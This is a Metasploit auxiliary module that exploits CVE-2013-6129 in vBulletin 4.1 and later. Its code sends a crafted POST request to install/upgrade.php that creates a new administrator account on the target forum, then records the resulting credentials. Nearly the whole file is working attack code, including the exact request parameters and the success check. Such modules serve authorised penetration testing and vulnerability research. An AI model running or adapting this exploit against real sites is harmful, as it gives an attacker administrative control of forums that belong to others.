##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'vBulletin Administrator Account Creation',
        'Description' => %q{
          This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
          create a new administrator account, as exploited in the wild on October 2013. This module
          has been tested successfully on vBulletin 4.1.5 and 4.1.0.
        },
        'Author' => [
          'Unknown', # Vulnerability discoverer? found in the wild
          'juan vazquez' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-6129' ],
          [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
          [ 'OSVDB', '98370' ],
          [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
        ],
        'DisclosureDate' => '2013-10-09'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']),
        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
        OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
      ]
    )
  end

  def user
    datastore['USERNAME']
  end

  def pass
    datastore['PASSWORD']
  end

  def run
    if user == pass
      print_error('Please select a password different than the username')
      return
    end

    print_status('Trying a new admin vBulletin account...')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'),
      'method' => 'POST',
      'vars_post' => {
        'version' => 'install',
        'response' => 'true',
        'checktable' => 'false',
        'firstrun' => 'false',
        'step' => '7',
        'startat' => '0',
        'only' => 'false',
        'options[skiptemplatemerge]' => '0',
        'reponse' => 'yes',
        'htmlsubmit' => '1',
        'htmldata[username]' => user,
        'htmldata[password]' => pass,
        'htmldata[confirmpassword]' => pass,
        'htmldata[email]' => datastore['EMAIL']
      },
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    })

    if res && (res.code == 200) && res.body =~ (/Administrator account created/)
      print_good("Admin account with credentials #{user}:#{pass} successfully created")
      connection_details = {
        module_fullname: fullname,
        username: user,
        private_data: pass,
        private_type: :password,
        status: Metasploit::Model::Login::Status::UNTRIED,
        proof: res.body
      }.merge(service_details)
      create_credential_and_login(connection_details)
    else
      print_error('Admin account creation failed')
    end
  end
end